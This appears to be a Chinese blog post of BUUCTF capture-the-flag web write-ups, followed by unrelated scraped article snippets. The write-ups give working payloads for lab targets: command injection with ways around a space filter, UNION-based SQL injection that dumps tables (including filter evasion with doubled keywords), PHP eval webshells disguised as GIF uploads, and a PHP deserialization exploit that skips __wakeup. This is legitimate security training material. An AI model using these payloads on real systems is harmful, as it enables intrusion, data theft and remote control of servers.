为提升观感体验,本篇博文长期更新,新题目以二次编辑形式附在最后

[ACTF2020 新生赛]Exec

打开后发现网页是关于执行一个ping指令,经过测试是直接执行的,所以就直接命令执行了

127.0.0.1 | cat /flag

总结一下常见的Linux管道符

  1. |按位或,直接执行|后面的语句
  2. ||逻辑或,如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
  3. &按位与,&前面和后面的都要执行,无论前面真假
  4. &&逻辑与,如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

[GXYCTF2019]Ping Ping Ping

打开可以看到很明显的提示,传参就是ip=,尝试传入/?ip=127.0.0.1,有回显,说明这是命令执行注入了,先用ls看看有什么文件
得到了一个f语言的回显,很明显空格会被过滤,所以我们尝试去掉空格

成功,下一步就开始考虑如何看到flag.php里面的内容,首先的问题就是如何绕过空格过滤,这里整理一下常见的空格过滤方法

\(IFS
\){IFS}

$IFS$1 //\(1改成\)加其他数字都可以

<

<>

{cat,flag.php} //用逗号实现了空格功能

%20

%09

尝试最后使用$IFS$IFS$1都可以成功绕过,以此来cat一下/?ip=127.0.0.1|cat$IFSflag.php

emm看起来不太友好,看来flag关键词也被过滤了,那就先试试看index.php,使用\(IFS没有回显,尝试使用\)IFS$1,成功得到回显

现在思路清晰了,接下来就是考虑如何显示flag.php的问题了,我们可以尝试使用反引号内联执行的做法,linux下反引号里面包含的就是需要执行的系统命令,而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令<br />`/?ip=127.0.0.1;cat$IFS`ls

这时候查看源代码即可得到最终的flag

[极客大挑战 2019]LoveSQL

开屏一道SQL注入题目,先试试万能密码
http://bbebaf1d-6128-4a49-9450-c1b729df9780.node4.buuoj.cn:81/check.php?username=admin' or '1'='1&password=1

md5解密失败,回到注入的思路上

/check.php?username=admin' order by 3%23&password=1

字段数为3时,回显正常,使用union查询回显点位

/check.php
?username=1' union select 1,2,3%23
&password=1

得到回显点位为2和3,查询数据库相关信息

/check.php?username=1' union select 1,database(),version()%23
&password=1

接着查询表名

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

可以得到如上两个表,接着爆破各个表的字段

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

两个表均为以上结果,接着爆破各个表的数据

/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

可以看到flag已经找到了,本题得解

[极客大挑战 2019]Knife

打开可以看到赫然显示着eval($_POST["Syc"]);,再根据题目Knife,明显是要用菜刀来解决,传参就是用Syc,因此打开蚁剑,尝试连接,成功

在根目录下找到了flag,本题得解

[极客大挑战 2019]Http

打开网页查看内容

要求必须用https://Sycsecret.buuoj.cn访问,因此传入bp,加上Referer:https://Sycsecret.buuoj.cn再次请求

还需要浏览器标识为Syclover,因此再加上User-Agent: Syclover

提示只能从本地访问,那么还需要再加上x-Forwarded-For:127.0.0.1,终于显示了flag,题目得解

[极客大挑战 2019]Upload

访问之后是一个文件上传的页面,接着就可以想到上传一句话木马进行控制
创建文件1.phtml,填写内容

<script language="php">eval($_POST['shell']);</script>

接着上传,用bp抓包修改文件类型为image/jpeg,上传失败,提示Do not lie me,怀疑是对图片内容有检测,因此在这之前再加上一部分

GIF89a
<script language="php">eval($_POST['shell']);</script>

上传成功,接着猜测文件保存的位置,首先猜测路径为upload,那么打开蚁剑尝试一下,连接成功,在根目录下即可找到flag

[ACTF2020 新生赛]Upload

打开题目后发现还是一个上传问题,故猜测和上题解题思路一致,上传一句话木马提示只能上传图片格式,接着用开发者工具进行元素审查

可以看到这里调用了checkFile的js函数进行审查,所以审查元素将这部分删去,这里我直接删去了return false部分

测试,上传成功,蚁剑连接即可getshell

[极客大挑战 2019]BabySQL

打开一看,映入眼帘的和之前的那道SQL题目差别不大,上来先试万能密码,发现or用不了,遂再测试其他使用方法

/check.php?username=admin&password=1 %27 union select 1 %23

发现union和select被过滤了,再双写试一下

/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23

看到这里基本上这一步就稳了,接下来就是试列数,逐个递增尝试,最终在3处注入成功,得到了回显

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23

接下来爆破数据库

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23

得到数据库为geek,接着尝试爆处所有的数据库

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

在这里看到一个ctf的库比较可疑,进行爆破

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23

找到一个flag表,接着爆破其中的字段

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag" %23

再根据字段名flag爆数据

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23

本题得解

[极客大挑战 2019]PHP

看到网页内部有提示网站备份,所以用dirsearch扫描一下网站目录,找到了www.zip,这就是我们需要的网站备份文件,直接下载打开后,在index.php里面找到了一段加载class.php文件的函数,然后用GET传递了一个select参数,随后将其反序列化

打开具体看class.php内容

<?php
include 'flag.php'; error_reporting(0); class Name{
private $username = 'nonono';
private $password = 'yesyes'; public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
} function __wakeup(){
$this->username = 'guest';
} function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die(); }
}
}
?>

根据代码的意思可以知道,如果password=100,username=admin,在执行__destruct()的时候可以获得flag,因此我们构造反序列化

<?php

class Name{
private $username = 'nonono';
private $password = 'yesyes'; public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a)); ?>

保存运行后得到反序列化

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的username重新赋值,所以我们跳过__wakeup()转而执行__destruct

跳过__wakeup()

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数,因此我们修改反序列化内容

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

private

上述声明变量是private,private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

我们再次改造

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

测试

使用get请求把我们准备好的序列化当作select的参数传递过去

/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

成功得到flag,本题得解

[BUUCTF]Web刷题记录的更多相关文章

  1. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  2. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  3. buuctf misc 刷题记录

    1.金三胖 将gif分离出来. 2.N种方法解决 一个exe文件,果然打不开,在kali里分析一下:file KEY.exe,ascii text,先txt再说,base64 图片. 3.大白 crc ...

  4. web刷题记录 极客大挑战2019Knife upload buy a flag

    极客2019Knife webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理.服务器管理.权限管理等操作.使用方法简单,只需上传一个代码文件,通 ...

  5. BUGKU web刷题记录

    web1 直接F12查看源码,得到flag. web2 直接输入验证码答案,长度被限制,修改可输入长度,提交后得到flag. web3 $what=$_GET['what']; echo $what; ...

  6. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

  7. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  8. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  9. 刷题记录:[XNUCA2019Qualifier]EasyPHP

    目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...

  10. 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System

    目录 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System 知识点 1.padding-oracle attack 2.cbc字节翻转攻击 3.FFMpeg文件读取漏 ...

随机推荐

  1. nkIO方法

    import java.util.*; public class Main{ public static void main(String args[]){ Scanner sc = new Scan ...

  2. IDEA 启动SpringBoot项目或Spring项目出现程序包XXX不存在

    该方法是在你的pom中的依赖(是否缺少,版本是否兼容)maven仓库等配置没有问题的情况下 第一种方法: 打开IDEA底部的终端Terminal,输入"mvn idea:idea" ...

  3. Web_Servlet之间请求转发

    Servlet2 @WebServlet(urlPatterns = "/aa") public class JspService extends HttpServlet { pr ...

  4. hdu: Dire Wolf(区间DP)

    Problem DescriptionDire wolves, also known as Dark wolves, are extraordinarily large and powerful wo ...

  5. 安装 TensorFlow 参考过的资料

    anaconda 的新环境创建 https://blog.csdn.net/yandajiangjun/article/details/102615912

  6. kettle连接mysql报Communications link failure

    添加2个命名参数 1.autoReconnect=true 2.useSSL=false

  7. 艾思最新案例分享:塔蓝物流app-物流仓储管理系统app. app开发

    塔蓝物流app是一款物流仓储管理app:主要业务范围空运,海运,进出口货物及过境货物的运输代理,包括揽物订舱,仓储(危险品除外),包装,搬运装卸,中转,流通加工,集装箱拼装拆箱(危险品除外),结算运杂 ...

  8. Ansys-CHEMKIN-pro表面反应机制输入(Surface Kinetics Input)规则

    chemkin表面反应机制文件(Ansys-CHEMKIN-pro表面反应机制输入) 1. 文件包含表面活性位(相).表面组分,固相组分.固相,热力学数据,反应机制: 2. 顺序:物质名称,活性位数据 ...

  9. jxg项目Day4-数据库和mybatis的连接映射

    配置:yml配置文件中配置数据库的参数,还有映射的参数 1.建实体类User,属性与数据库表对应 2.Mapper包下建UserMapper,继承BaseMapper<User> 3.Se ...

  10. CentOS查看已安装的服务与卸载服务。。

    1:使用rpm查看, rmp -qa | grep servername rpm -qa 查看以安装的所有服务,grep过滤我们需要看的服务. 2:使用yum查看<此命令恕在下未能完全理解,可能 ...